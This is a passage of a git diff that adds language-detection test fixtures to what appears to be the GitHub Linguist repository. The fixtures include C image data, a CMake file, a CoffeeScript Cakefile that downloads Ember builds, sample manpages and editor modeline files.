+  "\001\001\377\014\001\377>\000\377p\001\377\243\001\377\326\001\377\367\000\326\377\000\243\377"
+  "\000q\377\000>\377\000\014\377(\000\377|\377\001J\377\001(\377\001\001\377\013\000\377>\001\377"
+  "q\000\377\243\000\377\325\000\377\367\001\326\377\000\243\377\000p\377\000>\377\001\014\377"
+  "'\000\377J\001\377I\377\001'\377\000\001\377\013\001\377>\001\377p\000\377\243\000\377\326\001"
+  "\367\377\000\326\377\000\243\377\000q\377\001>\377\001\014\377(\001\377I\001\377|\001\377"
+  "'\377\001\000\377\014\000\377>\001\377p\000\377\243\000\377\326\000\367\377\000\325\377\000"
+  "\243\377\001p\377\001?\377\001\014\377(\000\377Z\000\377|\000\377\256\000\377\001\377\013\000"
+  "\377>\001\377p\000\377\243\001\377\325\001\367\377\001\326\377\000\243\377\000p\377\001?"
+  "\377\001\013\377(\000\377Z\000\377|\000\377\256\000\377\341\001\377\000\377?\001\377p\001\377"
+  "\243\001\377\326\000\367\377\001\326\377\001\243\377\001q\377\001>\377\000\014\377(\000\377"
+  "Z\001\377|\000\377\256\001\377\341\000\377\377\000\354\000\377p\000\377\243\001\377\326\001"
+  "\367\377\001\326\377\000\243\377\001q\377\000>\377\001\013\377(\001\377Z\000\377|\001\377"
+  "\257\000\377\341\000\377\377\000\354\377\001\271\000\377\243\000\377\326\001\367\377\001"
+  "\326\377\001\243\377\000q\377\000>\377\000\014\377'\001\377Z\000\377{\001\377\256\000\377"
+  "\341\001\377\377\001\354\377\001\271\377\000\207\000\377\325\001\367\377\000\326\377\000"
+  "\243\377\001q\377\001>\377\001\014\377(\000\377Z\001\377|\000\377\256\000\377\340\000\377"
+  "\377\000\354\377\001\271\377\000\207\377\000T\000\367\377\001\325\377\000\243\377\000p\377"
+  "\001>\377\001\014\377(\001\377Z\000\377|\001\377\256\000\377\341\001\377\377\000\354\377\000"
+  "\271\377\000\207\377\000T\377\001\063",
+};
+
diff --git a/test/fixtures/C/image.h b/test/fixtures/C/image.h
new file mode 100644
index 0000000000..8bbb737b6e
--- /dev/null
+++ b/test/fixtures/C/image.h
@@ -0,0 +1,31 @@
+/*  GIMP header image file format (RGB): image.h  */
+
+static unsigned int width = 16;
+static unsigned int height = 16;
+
+/*  Call this macro repeatedly.  After each use, the pixel data can be extracted  */
+
+#define HEADER_PIXEL(data,pixel) {\
+pixel[0] = (((data[0] - 33) << 2) | ((data[1] - 33) >> 4)); \
+pixel[1] = ((((data[1] - 33) & 0xF) << 4) | ((data[2] - 33) >> 2)); \
+pixel[2] = ((((data[2] - 33) & 0x3) << 6) | ((data[3] - 33))); \
+data += 4; \
+}
+static char *header_data =
+	"`T-!`V1\"`Y=\"`\\I!`_Q!Y@]\"LP]!?`]\"7P]!+0]!!0]-!@]_!0^R!@_D!0`6!@`X"
+	"`V1\"`Y=\"`\\E!`_Q!Y@]\"LP]\"?`]\"7P]\"+0]\"!0]-!@]_!@^R!@_D!0`6!@`X!>8`"
+	"`Y=!`\\I\"`_Q!Y@]\"L`]\"@0]!7`]\"+0]!!@],!@]_!0^R!0_E!0`6!0`X!.8`!;0`"
+	"`\\I\"`_Q\"Y0]\"LP]!@0]\"7P]!+0]!!@]-!@]_!0^R!0_D!@`7!0`Y!>8`!;0`!((`"
+	"`_Q!Y@]\"L`]!@0]!7P]\"+0]!!0],!0]`!@^R!@_D!0`6!@`Y!.<`!+0`!8(`!$\\`"
+	"Y0]\"L`]\"?`]\"7P]!+0]\"!0]-!@]_!@^R!0_D!0`6!0`X!>8`!+0`!($`!4``!!T`"
+	"LP]!@0]!7P]\"*`]\"!@]-!@]_!0^Q!@_D!@`7!@`X!.<`!+0`!((`!$\\`!!T`+!$`"
+	"@0]\"3P]\"+0]\"!@],!0]_!@^R!0_D!0`6!0`X!><`!+0`!($`!$\\`!1T`*Q$`3A(`"
+	"3@]\"*`]!!@],!@]_!@^Q!0_D!0`7!@@`!.<`!+0`!((`!4\\`!1T`+!(`31(`@!(`"
+	"*`]\"!0]-!0]_!@^Q!0_D!0`7!0@`!.8`!+0`!8$`!4``!1T`+!$`7A$`@!$`LA$`"
+	"!@],!0]_!@^Q!0_D!@`6!@@`!><`!+0`!($`!4``!1P`+!$`7A$`@!$`LA$`Y1(`"
+	"!0]`!@^Q!@_D!@`7!0@`!><`!;0`!8(`!4\\`!!T`+!$`7A(`@!$`LA(`Y1$``Q$M"
+	"!0^Q!0_D!@`7!@@`!><`!+0`!8(`!$\\`!1P`+!(`7A$`@!(`LQ$`Y1$``Q$M`Q'Z"
+	"!0_D!0`7!@@`!><`!;0`!((`!$\\`!!T`*Q(`7A$`?Q(`LA$`Y1(``Q(M`Q'Z`Q#("
+	"!0`6!@@`!.<`!+0`!8(`!4\\`!1T`+!$`7A(`@!$`LA$`Y!$``Q$M`Q'Z`Q#(`Q\"5"
+	"!0@`!>8`!+0`!($`!4\\`!1T`+!(`7A$`@!(`LA$`Y1(``Q$M`Q#Z`Q#(`Q\"5`Q%T"
+	"";
diff --git a/test/fixtures/CMake/CMakeLists.txt b/test/fixtures/CMake/CMakeLists.txt
new file mode 100644
index 0000000000..41effdc341
--- /dev/null
+++ b/test/fixtures/CMake/CMakeLists.txt
@@ -0,0 +1,29 @@
+cmake_minimum_required(VERSION 2.8 FATAL_ERROR)
+
+project("To do list")
+
+enable_testing()
+
+if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "GNU" OR
+    "${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang")
+    set(warnings "-Wall -Wextra -Werror")
+elseif ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "MSVC")
+    set(warnings "/W4 /WX /EHsc")	
+endif()
+
+set(optimize "-O2")
+
+if (NOT CONFIGURED_ONCE)
+    set(CMAKE_CXX_FLAGS "${warnings} ${optimize}"
+        CACHE STRING "Flags used by the compiler during all build types." FORCE)
+    set(CMAKE_C_FLAGS   "${warnings} ${optimize}"
+        CACHE STRING "Flags used by the compiler during all build types." FORCE)
+endif()
+
+
+add_executable(toDo main.cpp ToDo.cpp)
+
+add_test(toDoTest toDo)
+
+set(CONFIGURED_ONCE TRUE CACHE INTERNAL
+    "A flag showing that CMake has configured at least once.")
\ No newline at end of file
diff --git a/test/fixtures/CoffeeScript/Cakefile b/test/fixtures/CoffeeScript/Cakefile
new file mode 100755
index 0000000000..05dddf54b2
--- /dev/null
+++ b/test/fixtures/CoffeeScript/Cakefile
@@ -0,0 +1,200 @@
+http = require 'http'
+https = require 'https'
+fs = require 'fs'
+path = require 'path'
+{spawn, exec} = require 'child_process'
+semver = require 'semver'
+AdmZip = require('adm-zip')
+GitHubApi = require 'github'
+
+github = new GitHubApi(version: '3.0.0')
+
+# ----------------
+# Server / Builder
+# ----------------
+
+option '-P', '--production', 'run server in production mode'
+option null, '--port [PORT]', 'listen on specified port (default 3333)'
+
+LOCAL_BRUNCH = path.join('.', 'node_modules', '.bin', 'brunch')
+
+spawnBrunch = (flags, env) ->
+  if fs.existsSync(LOCAL_BRUNCH)
+    brunch = spawn LOCAL_BRUNCH, flags, env
+  else
+    console.error 'Warning, using global brunch. Run `npm install`.'
+    brunch = spawn 'brunch', flags, env
+
+  brunch.stdout.on 'data', (data) -> console.log data.toString().trim()
+  brunch.stderr.on 'data', (data) -> console.log data.toString().trim()
+
+runBrunchWatch = (options, shouldStartServer) ->
+  flags = ['w']
+  flags.push '-s' if shouldStartServer
+
+  if options.production?
+    flags.push('-P')
+    process.env.BRUNCH_ENV = 'production'
+
+  if options.port?
+    flags.push '-p'
+    flags.push options.port
+
+  spawnBrunch flags, process.env
+
+task 'server', 'start the brunch server in development', (options) ->
+  runBrunchWatch(options, true)
+
+task 'watch', 'build the app continuously without a server', (options) ->
+  runBrunchWatch(options, false)
+
+task 'build', 'build for production', ->
+  process.env.BRUNCH_ENV = 'production'
+  spawnBrunch ['b', '-P'], process.env
+
+task 'test', 'run brunch in the test environment', ->
+  flags = ['w', '-s']
+  process.env.BRUNCH_ENV = 'test'
+  spawnBrunch flags, process.env
+
+# -------------
+# Tapas Updates
+# -------------
+updateMessage = 'update Tapas to latest (Cakefile, package.json, portkey.json,
+ config.coffee, generators/*)'
+task 'tapas:update', updateMessage, (options) ->
+  url = 'https://codeload.github.com/mutewinter/tapas-with-ember/zip/master'
+  filesToUpdate = [
+    'Cakefile'
+    'package.json'
+    'portkey.json'
+    'config.coffee'
+    'generators/'
+    'testem.json'
+    'bower.json'
+  ]
+  https.get url, (res) ->
+    data = []
+    dataLen = 0
+
+    res.on('data', (chunk) ->
+      data.push(chunk)
+      dataLen += chunk.length
+    ).on('end', ->
+      buf = new Buffer(dataLen)
+
+      pos = 0
+      for dataItem in data
+        dataItem.copy(buf, pos)
+        pos += dataItem.length
+
+      zip = new AdmZip(buf)
+
+      filesToUpdate.forEach (file) ->
+        targetFile = "tapas-with-ember-master/#{file}"
+        if /\/$/.test(file)
+          zip.extractEntryTo(targetFile, file, false, true)
+        else
+          zip.extractEntryTo(targetFile, '', false, true)
+    )
+
+# --------------
+# Script Updates
+# --------------
+
+EMBER_BASE_URL = 'http://builds.emberjs.com'
+GITHUB_API_URL = 'https://api.github.com'
+EMBER = {}
+EMBER_DATA = {}
+['release', 'beta', 'canary'].forEach (build) ->
+  EMBER[build] =
+    prod: "#{EMBER_BASE_URL}/#{build}/ember.prod.js"
+    dev: "#{EMBER_BASE_URL}/#{build}/ember.js"
+  EMBER_DATA[build] =
+    prod: "#{EMBER_BASE_URL}/#{build}/ember-data.prod.js"
+    dev: "#{EMBER_BASE_URL}/#{build}/ember-data.js"
+
+EMBER['tag'] =
+  prod: "#{EMBER_BASE_URL}/tags/{{tag}}/ember.prod.js"
+  dev: "#{EMBER_BASE_URL}/tags/{{tag}}/ember.js"
+
+EMBER_DATA['tag'] =
+  prod: "#{EMBER_BASE_URL}/tags/{{tag}}/ember-data.prod.js"
+  dev: "#{EMBER_BASE_URL}/tags/{{tag}}/ember-data.js"
+
+downloadFile = (src, dest) ->
+  console.log('Downloading ' + src + ' to ' + dest)
+  data = ''
+  request = http.get src, (response) ->
+    response.on('data', (chunk) ->
+      data += chunk
+    )
+    response.on('end', ->
+      fs.writeFileSync(dest, data)
+    )
+
+downloadEmberFile = (src, dest) ->
+  downloadFile(src, "vendor/ember/#{dest}")
+
+listTags = (user, repo, since, name, command) ->
+  github.repos.getTags(user: user, repo: repo, (resp, tags) ->
+    for tag in tags
+      if semver.valid(tag.name) and !semver.lt(tag.name, since)
+        firstTag = tag.name unless firstTag
+        console.log "  #{tag.name}"
+    console.log "Install with cake -t \"#{firstTag}\" #{command}"
+  )
+
+installEmberFiles = (project, filename, options) ->
+  if 'tag' of options
+    # Download a Tag
+    tag = options.tag
+    tag = "v#{tag}" unless /^v/.test(tag)
+    downloadEmberFile(project['tag'].dev.replace(/{{tag}}/, tag),
+      "development/#{filename}")
+    downloadEmberFile(project['tag'].prod.replace(/{{tag}}/, tag),
+      "production/#{filename}")
+  else
+    # Download a Channel
+    channel = options.channel ? 'release'
+    downloadEmberFile project[channel].dev, "development/#{filename}"
+    downloadEmberFile project[channel].prod, "production/#{filename}"
+
+# Channel
+option '-c', '--channel "[CHANNEL_NAME]"',
+  'relase, beta, or canary (http://emberjs.com/builds)'
+
+# Tag
+option '-t', '--tag "[TAG_NAME]"',
+  'a tagged release to install. Run cake ember:list to see known tags'
+
+# -----
+# Ember
+# -----
+task 'ember:install', 'install latest Ember', (options) ->
+  installEmberFiles(EMBER, 'ember.js', options)
+
+task 'ember:list', 'list tagged relases of Ember since v1.0.0', (options) ->
+  listTags 'emberjs', 'ember.js', 'v1.0.0', 'Ember', 'ember:install'
+
+# ----------
+# Ember Data
+# ----------
+task 'ember-data:install', 'install latest Ember Data', (options) ->
+  options.channel or= 'beta'
+  installEmberFiles(EMBER_DATA, 'ember-data.js', options)
+
+task 'ember-data:list', 'list tagged relases of Ember Data', (options) ->
+  listTags 'emberjs', 'data', 'v0.0.1', 'Ember Data',
+    'ember-data:install'
+
+# -----------
+# Ember Model
+# -----------
+EMBER_MODEL =
+  dev: 'http://builds.erikbryn.com/ember-model/ember-model-latest.js'
+  prod: 'http://builds.erikbryn.com/ember-model/ember-model-latest.prod.js'
+
+task 'ember-model:install', 'install latest Ember Model', (options) ->
+  downloadEmberFile EMBER_MODEL.dev, 'development/ember-model.js'
+  downloadEmberFile EMBER_MODEL.prod, 'production/ember-model.js'
diff --git a/test/fixtures/Data/Manpages/bsdmalloc.3malloc b/test/fixtures/Data/Manpages/bsdmalloc.3malloc
new file mode 100644
index 0000000000..2afb35edd1
--- /dev/null
+++ b/test/fixtures/Data/Manpages/bsdmalloc.3malloc
@@ -0,0 +1,113 @@
+'\" te
+.\" Copyright (c) 2005, Sun Microsystems, Inc. All Rights Reserved.
+.\" The contents of this file are subject to the terms of the Common Development and Distribution License (the "License").  You may not use this file except in compliance with the License.
+.\" You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE or http://www.opensolaris.org/os/licensing.  See the License for the specific language governing permissions and limitations under the License.
+.\" When distributing Covered Code, include this CDDL HEADER in each file and include the License file at usr/src/OPENSOLARIS.LICENSE.  If applicable, add the following below this CDDL HEADER, with the fields enclosed by brackets "[]" replaced with your own identifying information: Portions Copyright [yyyy] [name of copyright owner]
+.TH BSDMALLOC 3MALLOC "Mar 21, 2005"
+.SH NAME
+bsdmalloc \- memory allocator
+.SH SYNOPSIS
+.LP
+.nf
+\fBcc\fR [ \fIflag\fR ... ] \fIfile\fR ... \fB-lbsdmalloc\fR [ \fIlibrary\fR ... ]
+
+\fBchar *\fR\fBmalloc\fR(\fB\fR\fIsize\fRunsigned \fIsize\fR;
+.fi
+
+.LP
+.nf
+\fBint\fR \fBfree\fR(\fB\fR \fIptr\fRchar *\fIptr\fR;
+.fi
+
+.LP
+.nf
+\fBchar *\fR\fBrealloc\fR(\fB\fR \fIptr\fR, \fB\fR\fIsize\fRchar *\fIptr\fR;
+unsigned \fIsize\fR;
+.fi
+
+.SH DESCRIPTION
+.sp
+.LP
+These routines provide a general-purpose memory allocation package. They
+maintain a table of free blocks for efficient allocation and coalescing of free
+storage. When there is no suitable space already free, the allocation routines
+call \fBsbrk\fR(2) to get more memory from the system. Each of the allocation
+routines returns a pointer  to  space suitably aligned for storage of any type
+of object. Each returns a null pointer if the request cannot be completed.
+.sp
+.LP
+The \fBmalloc()\fR function returns a pointer to  a block of at least
+\fIsize\fR bytes, which is appropriately aligned.
+.sp
+.LP
+The \fBfree()\fR function releases a previously allocated block. Its argument
+is a pointer to a block previously allocated by \fBmalloc()\fR or
+\fBrealloc()\fR. The \fBfree()\fR function does not set \fBerrno\fR.
+.sp
+.LP
+The \fBrealloc()\fR function changes the size of the block pointed to by
+\fIptr\fR to \fIsize\fR bytes and returns a pointer to the (possibly moved)
+block. The contents will be unchanged up to the lesser of the new and old
+sizes. If the new size of the block requires movement of the block, the space
+for the previous instantiation of the block is freed. If the new size is
+larger, the contents of the newly allocated portion of the block are
+unspecified. If \fIptr\fR is \fINULL\fR, \fBrealloc()\fR behaves like
+\fBmalloc()\fR for the specified size. If \fIsize\fR is 0 and \fIptr\fR is not
+a null pointer, the space pointed to is freed.
+.SH RETURN VALUES
+.sp
+.LP
+The \fBmalloc()\fR and \fBrealloc()\fR functions return a null pointer if there
+is not enough available memory. They  return a non-null pointer if \fIsize\fR
+is 0. These pointers should not be dereferenced. When \fBrealloc()\fR returns
+\fINULL\fR, the block pointed to by \fIptr\fR is left intact. Always cast the
+value returned by \fBmalloc()\fR and \fBrealloc()\fR.
+.SH ERRORS
+.sp
+.LP
+If \fBmalloc()\fR or \fBrealloc()\fR returns  unsuccessfully, \fBerrno\fR will
+be set to indicate the following:
+.sp
+.ne 2
+.na
+\fB\fBENOMEM\fR\fR
+.ad
+.RS 10n
+\fIsize\fR bytes of memory cannot be allocated because it exceeds the physical
+limits of the system.
+.RE
+
+.sp
+.ne 2
+.na
+\fB\fBEAGAIN\fR\fR
+.ad
+.RS 10n
+There is not enough memory available at this point in time to allocate
+\fIsize\fR bytes of memory; but the application could try again later.
+.RE
+
+.SH USAGE
+.sp
+.LP
+Using \fBrealloc()\fR with a block freed before the most recent call to
+\fBmalloc()\fR or \fBrealloc()\fR results in an error.
+.sp
+.LP
+Comparative features of the various allocation libraries can be found in the
+\fBumem_alloc\fR(3MALLOC) manual page.
+.SH SEE ALSO
+.sp
+.LP
+\fBbrk\fR(2), \fBmalloc\fR(3C), \fBmalloc\fR(3MALLOC),
+\fBmapmalloc\fR(3MALLOC), \fBumem_alloc\fR(3MALLOC)
+.SH WARNINGS
+.sp
+.LP
+Use of \fBlibbsdmalloc\fR renders an application non-SCD compliant.
+.sp
+.LP
+The \fBlibbsdmalloc\fR routines are incompatible with the memory allocation
+routines in the standard C-library (libc): \fBmalloc\fR(3C), \fBalloca\fR(3C),
+\fBcalloc\fR(3C), \fBfree\fR(3C), \fBmemalign\fR(3C), \fBrealloc\fR(3C), and
+\fBvalloc\fR(3C).
diff --git a/test/fixtures/Data/Manpages/dirent.h.0p b/test/fixtures/Data/Manpages/dirent.h.0p
new file mode 100644
index 0000000000..9cfa5a4ccf
--- /dev/null
+++ b/test/fixtures/Data/Manpages/dirent.h.0p
@@ -0,0 +1,125 @@
+.\" Copyright (c) 2001-2003 The Open Group, All Rights Reserved 
+.TH "<dirent.h>" P 2003 "IEEE/The Open Group" "POSIX Programmer's Manual"
+.\" <dirent.h> 
+.SH NAME
+dirent.h \- format of directory entries
+.SH SYNOPSIS
+.LP
+\fB#include <dirent.h>\fP
+.SH DESCRIPTION
+.LP
+The internal format of directories is unspecified.
+.LP
+The \fI<dirent.h>\fP header shall define the following type:
+.TP 7
+\fBDIR\fP
+A type representing a directory stream.
+.sp
+.LP
+It shall also define the structure \fBdirent\fP which shall include
+the following members:
+.sp
+.RS
+.nf
+
+\fB
+ino_t  d_ino      \fP File serial number. \fB
+
+char   d_name[]   \fP Name of entry. \fB
+\fP
+.fi
+.RE
+.LP
+The type \fBino_t\fP shall be defined as described in \fI<sys/types.h>\fP
+\&. 
+.LP
+The character array \fId_name\fP is of unspecified size, but the number
+of bytes preceding the terminating null byte shall not
+exceed {NAME_MAX}.
+.LP
+The following shall be declared as functions and may also be defined
+as macros. Function prototypes shall be provided.
+.sp
+.RS
+.nf
+
+\fBint            closedir(DIR *);
+DIR           *opendir(const char *);
+struct dirent *readdir(DIR *);
+
+int            readdir_r(DIR *restrict, struct dirent *restrict,
+                   struct dirent **restrict);
+
+void           rewinddir(DIR *);
+
+void           seekdir(DIR *, long);
+long           telldir(DIR *);
+
+\fP
+.fi
+.RE
+.LP
+\fIThe following sections are informative.\fP
+.SH APPLICATION USAGE
+.LP
+None.
+.SH RATIONALE
+.LP
+Information similar to that in the \fI<dirent.h>\fP header is contained
+in a file \fI<sys/dir.h>\fP in 4.2 BSD and
+4.3 BSD. The equivalent in these implementations of \fBstruct dirent\fP
+from this volume of IEEE\ Std\ 1003.1-2001 is
+\fBstruct direct\fP. The filename was changed because the name \fI<sys/dir.h>\fP
+was also used in earlier implementations
+to refer to definitions related to the older access method; this produced
+name conflicts. The name of the structure was changed
+because this volume of IEEE\ Std\ 1003.1-2001 does not completely
+define what is in the structure, so it could be different
+on some implementations from \fBstruct direct\fP.
+.LP
+The name of an array of \fBchar\fP of an unspecified size should not
+be used as an lvalue. Use of:
+.sp
+.RS
+.nf
+
+\fBsizeof(d_name)
+\fP
+.fi
+.RE
+.LP
+is incorrect; use:
+.sp
+.RS
+.nf
+
+\fBstrlen(d_name)
+\fP
+.fi
+.RE
+.LP
+instead.
+.LP
+The array of \fBchar\fP \fId_name\fP is not a fixed size. Implementations
+may need to declare \fBstruct dirent\fP with an
+array size for \fId_name\fP of 1, but the actual number of characters
+provided matches (or only slightly exceeds) the length of
+the filename.
+.SH FUTURE DIRECTIONS
+.LP
+None.
+.SH SEE ALSO
+.LP
+\fI<sys/types.h>\fP , the System Interfaces volume of IEEE\ Std\ 1003.1-2001,
+\fIclosedir\fP(), \fIopendir\fP(), \fIreaddir\fP(), \fIreaddir_r\fP(),
+\fIrewinddir\fP(), \fIseekdir\fP(), \fItelldir\fP()
+.SH COPYRIGHT
+Portions of this text are reprinted and reproduced in electronic form
+from IEEE Std 1003.1, 2003 Edition, Standard for Information Technology
+-- Portable Operating System Interface (POSIX), The Open Group Base
+Specifications Issue 6, Copyright (C) 2001-2003 by the Institute of
+Electrical and Electronics Engineers, Inc and The Open Group. In the
+event of any discrepancy between this version and the original IEEE and
+The Open Group Standard, the original IEEE and The Open Group Standard
+is the referee document. The original Standard can be obtained online at
+http://www.opengroup.org/unix/online.html .
diff --git a/test/fixtures/Data/Manpages/linguist.1gh b/test/fixtures/Data/Manpages/linguist.1gh
new file mode 100644
index 0000000000..e583508262
--- /dev/null
+++ b/test/fixtures/Data/Manpages/linguist.1gh
@@ -0,0 +1,102 @@
+.Dd February 25, 2019
+.Dt GITHUB-LINGUIST 1gh
+.Os
+.Sh NAME
+.Nm github-linguist
+.Nd detect language types of files or repositories
+.
+.Sh SYNOPSIS
+.Nm
+.Op Fl -breakdown
+.Op Fl -json
+.Ar path
+.
+.Sh DESCRIPTION
+.Nm
+attempts to determine the language(s) used by
+.Ar path ,
+which may be a file or a Git repository.
+.
+.Pp
+If
+.Ar path
+is a file,
+.Nm
+analyses its language,
+MIME type,
+and whether the file is
+.Sy Text ,
+.Sy Image ,
+or
+.Sy Binary .
+.
+.Pp
+Otherwise,
+.Ar path
+is assumed to be a directory of a Git repository,
+and a language breakdown is generated on standard output.
+.
+.Bl -tag -width indent
+.It Fl -breakdown
+Generate a more detailed breakdown listing.
+.It Fl -json
+Generate a JSON-encoded representation of the repo's breakdown graph.
+.El
+..
+.Sh ENVIRONMENT
+.Bl -tag -width LANG
+.It Ev LANG
+Overriding locale is sometimes necessary to fix unexplained encoding errors raised when running
+.Li bundle exec rake .
+This is currently needed on
+.Ox .
+.
+.Sh EXAMPLES
+Identify a file's language:
+.Bd -literal -offset 4n \" shell-console:
+$ github-linguist /path/to/which.pl
+which.pl: 61 lines (56 sloc)
+\&  type:      Text
+\&  mime type: application/x-perl
+\&  language:  Perl
+.Ed
+.
+.Pp
+Display a detailed breakdown graph for the working directory:
+.Bd -literal -offset 4n \" Shell-Console:
+$ bundle exec bin/github-linguist --breakdown
+68.57%  Ruby
+22.90%  C
+6.93%   Go
+1.21%   Lex
+0.39%   Shell
+\&
+Ruby:
+Gemfile
+Rakefile
+bin/git-linguist
+bin/github-linguist
+ext/linguist/extconf.rb
+github-linguist.gemspec
+lib/linguist.rb
+\.\.\.
+.Ed
+.
+.Pp
+More examples may be found in the project's readme on GitHub.
+.
+.Sh FILES
+.Bl -tag -width lib/linguist/languages.yml -compact
+.It Pa lib/linguist/languages.yml
+Database of every language or filetype recognised on GitHub.
+.El
+.
+.Sh EXIT STATUS
+.Ex -std
+.
+.Sh SEE ALSO
+.Xr file 1 ,
+.Xr sigils 1 ,
+.Xr magic 5 .
+.Pp
+.Lk https://github.com/linguist/#readme "Full documentation at GitHub.com"
diff --git a/test/fixtures/Data/Manpages/test.1.in b/test/fixtures/Data/Manpages/test.1.in
new file mode 100644
index 0000000000..d272c84d75
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.1.in
@@ -0,0 +1 @@
+.TH TEST 1
diff --git a/test/fixtures/Data/Manpages/test.2.in b/test/fixtures/Data/Manpages/test.2.in
new file mode 100644
index 0000000000..cda2ecdb95
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.2.in
@@ -0,0 +1 @@
+.TH TEST 2
diff --git a/test/fixtures/Data/Manpages/test.3.in b/test/fixtures/Data/Manpages/test.3.in
new file mode 100644
index 0000000000..e0add7566b
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.3.in
@@ -0,0 +1 @@
+.TH TEST 3
diff --git a/test/fixtures/Data/Manpages/test.4.in b/test/fixtures/Data/Manpages/test.4.in
new file mode 100644
index 0000000000..5cfa170d84
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.4.in
@@ -0,0 +1 @@
+.TH TEST 4
diff --git a/test/fixtures/Data/Manpages/test.5.in b/test/fixtures/Data/Manpages/test.5.in
new file mode 100644
index 0000000000..13d651ed11
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.5.in
@@ -0,0 +1 @@
+.TH TEST 5
diff --git a/test/fixtures/Data/Manpages/test.6.in b/test/fixtures/Data/Manpages/test.6.in
new file mode 100644
index 0000000000..75d21d9ec8
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.6.in
@@ -0,0 +1 @@
+.TH TEST 6
diff --git a/test/fixtures/Data/Manpages/test.7.in b/test/fixtures/Data/Manpages/test.7.in
new file mode 100644
index 0000000000..2fcb90697a
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.7.in
@@ -0,0 +1 @@
+.TH TEST 7
diff --git a/test/fixtures/Data/Manpages/test.8.in b/test/fixtures/Data/Manpages/test.8.in
new file mode 100644
index 0000000000..ec621b216b
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.8.in
@@ -0,0 +1 @@
+.TH TEST 8
diff --git a/test/fixtures/Data/Manpages/test.9.in b/test/fixtures/Data/Manpages/test.9.in
new file mode 100644
index 0000000000..ba5065a4e3
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.9.in
@@ -0,0 +1 @@
+.TH TEST 9
diff --git a/test/fixtures/Data/Manpages/test.man.in b/test/fixtures/Data/Manpages/test.man.in
new file mode 100644
index 0000000000..70e8a35407
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.man.in
@@ -0,0 +1,13 @@
+.\" $OpenBSD: man.in,v 1.2 2017/07/04 14:53:23 schwarze Exp $
+.TH bar-man 1 "July 17, 2012"
+.SH NAME
+\fBbar-man\fR - formatting the vertical bar symbol
+.SH DESCRIPTION
+.SS normal bar
+Manually switching fonts: \fIitalic\fRroman|roman\fPitalic
+.PP
+.B prefix | suffix
+.SS special character
+Manually switching fonts: \fIitalic\fRroman\(baroman\fPitalic
+.PP
+.B prefix \(ba suffix
diff --git a/test/fixtures/Data/Manpages/test.mdoc.in b/test/fixtures/Data/Manpages/test.mdoc.in
new file mode 100644
index 0000000000..2a7af34655
--- /dev/null
+++ b/test/fixtures/Data/Manpages/test.mdoc.in
@@ -0,0 +1,15 @@
+.Dd October 13, 2014
+.Dt CHAR-UNICODE-MDOC 1
+.Os OpenBSD
+.Sh NAME
+.Nm char-unicode-mdoc
+.Nd unicode characters in mdoc code
+.Sh DESCRIPTION
+Copyright symbol: \[u00A9] = \C'u00A9'
+.Pp
+m-dash: \[u2014] = \C'u2014'
+.Pp
+nabla: \[u1D6C1] = \C'u1D6C1'
+.Pp
+not really Unicode:
+up arrows: \(ua\(uA = \[ua]\[uA] = \C'ua'\C'uA'
diff --git a/test/fixtures/Data/Modelines/iamjs.pl b/test/fixtures/Data/Modelines/iamjs.pl
new file mode 100644
index 0000000000..b5d8f236f3
--- /dev/null
+++ b/test/fixtures/Data/Modelines/iamjs.pl
@@ -0,0 +1,3 @@
+# vim: noexpandtab: ft=javascript
+
+"It's JavaScript, baby";
diff --git a/test/fixtures/Data/Modelines/iamjs2.pl b/test/fixtures/Data/Modelines/iamjs2.pl
new file mode 100644
index 0000000000..623b827ac2
--- /dev/null
+++ b/test/fixtures/Data/Modelines/iamjs2.pl
@@ -0,0 +1,4 @@
+# vim:noexpandtab titlestring=hi\|there\\\ ft=perl ts=4
+# vim:noexpandtab titlestring=hi|there\\ ft=javascript ts=4
+
+"Still JavaScript, bruh";
diff --git a/test/fixtures/Data/Modelines/not_perl.pl b/test/fixtures/Data/Modelines/not_perl.pl
index 39e3895887..6f518f3752 100644
--- a/test/fixtures/Data/Modelines/not_perl.pl
+++ b/test/fixtures/Data/Modelines/not_perl.pl
@@ -1,3 +1,3 @@
-/* vim: set filEtype=pRoloG: */
+/* vim: set filetype=pRoloG: */
 
 # I am Prolog
diff --git a/test/fixtures/Data/Modelines/ruby10 b/test/fixtures/Data/Modelines/ruby10
new file mode 100644
index 0000000000..67dd486437
--- /dev/null
+++ b/test/fixtures/Data/Modelines/ruby10
@@ -0,0 +1,3 @@
+ ex: noexpandtab: ft=ruby
+
+# Still Ruby
diff --git a/test/fixtures/Data/Modelines/ruby11 b/test/fixtures/Data/Modelines/ruby11
new file mode 100644
index 0000000000..3d167468ab
--- /dev/null
+++ b/test/fixtures/Data/Modelines/ruby11
@@ -0,0 +1,3 @@
+# vim600: ft=ruby
+
+# Targets Vim 6.0 or later
diff --git a/test/fixtures/Data/Modelines/ruby12 b/test/fixtures/Data/Modelines/ruby12
new file mode 100644
index 0000000000..a7ef89a948
--- /dev/null
+++ b/test/fixtures/Data/Modelines/ruby12
@@ -0,0 +1,3 @@
+vim<520: ft=ruby
+
+# Targets Vim 5.20 and earlier
diff --git a/test/fixtures/Data/Modelines/seeplusplusEmacs10 b/test/fixtures/Data/Modelines/seeplusplusEmacs10
new file mode 100644
index 0000000000..c4f287212c
--- /dev/null
+++ b/test/fixtures/Data/Modelines/seeplusplusEmacs10
@@ -0,0 +1,3 @@
+// -*- foo-bar mode: c++ -*-
+
+"Malformed modeline, but still understood by Emacs to be C++."
diff --git a/test/fixtures/Data/Modelines/seeplusplusEmacs11 b/test/fixtures/Data/Modelines/seeplusplusEmacs11
new file mode 100644
index 0000000000..3ba31f8a01
--- /dev/null
+++ b/test/fixtures/Data/Modelines/seeplusplusEmacs11
@@ -0,0 +1 @@
+/* -*- mode: c++ -------*- */
diff --git a/test/fixtures/Data/Modelines/seeplusplusEmacs12 b/test/fixtures/Data/Modelines/seeplusplusEmacs12
new file mode 100644
index 0000000000..e85ef896f0
--- /dev/null
